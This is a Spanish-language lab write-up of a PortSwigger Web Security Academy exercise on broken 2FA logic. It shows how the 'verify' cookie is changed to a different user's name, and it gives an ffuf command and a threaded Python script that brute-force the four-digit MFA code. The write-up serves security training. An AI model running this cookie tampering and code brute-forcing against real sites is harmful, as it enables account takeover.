← Writeups

8 2FA broken logic

POST /login HTTP/2
username=wiener&password=peter


HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=************wiener************; HttpOnly
Set-Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; Secure; HttpOnly; SameSite=None

lo modificamos hacia el usuario carlos

HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=************carlos************; HttpOnly
Set-Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; Secure; HttpOnly; SameSite=None

Sin embargo el codigo recibido no permite bypassearlo, por lo que se opta por brutforcear el codigo evitando "Incorrect security code" como respuesta

POST /login2 HTTP/2
Cookie: session=1hJRy2e9nR6MT98bkcrWerzliIwxL244; verify=wiener
mfa-code=1697

Metodo mediante ffuf

Crear wordlist

for i in {0000..9999}
do
  echo $i
done
# luego ejecutar bash script.sh | number00009999.txt

O crear en un oneliner:

for i in {0000..9999}; do echo $i; done | tee number00009999.txt
~/go/bin/ffuf -request enum.txt -w number00009999.txt:FUZZ -t 1000 -c -fr "Incorrect security code"     

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://0ab70082049cd0348251387f00ec0010.web-security-academy.net/login2
 :: Wordlist         : FUZZ: /home/computadora/writeups/number00009999.txt
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Referer: https://0ab70082049cd0348251387f00ec0010.web-security-academy.net/login2
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Sec-Fetch-Dest: document
 :: Header           : Sec-Fetch-Mode: navigate
 :: Header           : X-Pwnfox-Color: green
 :: Header           : Cookie: session=vHGpdTXnJ3T7gLRS2Y8wm7u9sfIp6EHq; verify=carlos
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Header           : Te: trailers
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Sec-Fetch-Site: same-origin
 :: Header           : Priority: u=0, i
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
 :: Header           : Origin: https://0ab70082049cd0348251387f00ec0010.web-security-academy.net
 :: Header           : Sec-Fetch-User: ?1
 :: Header           : Host: 0ab70082049cd0348251387f00ec0010.web-security-academy.net
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 :: Data             : mfa-code=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1000
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Incorrect security code
________________________________________________

0032                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 190ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Mediante python

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def sendRequest(url, cookie, number):
    loginData = {
        'mfa-code': number
    }

    # Display current number and use \r to clear previous line
    print(f'[*] Trying number: {number}', end='\r')

    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text

    if 'Incorrect security code' not in loginRequestText:
        print(f'[+] Found security code: {number}')

def main():
    url = 'https://0ab70082049cd0348251387f00ec0010.web-security-academy.net/login2'
    cookie = {
        'session': 'yVEDSZmHbdRymiemDceF5GldatHoDItn',
        'verify': 'carlos'
    }

    # Generate number 0000 to 9999 into a list
    listNumbers = [f'{i:04d}' for i in range(10000)]
    
    for number in listNumbers: 
        thread = Thread(target=sendRequest, args=(url, cookie, number))
        thread.start()

        # You can adjust how fast of each connection. 0.05s is recommended.
        sleep(0.05)

if __name__ == '__main__':
    main()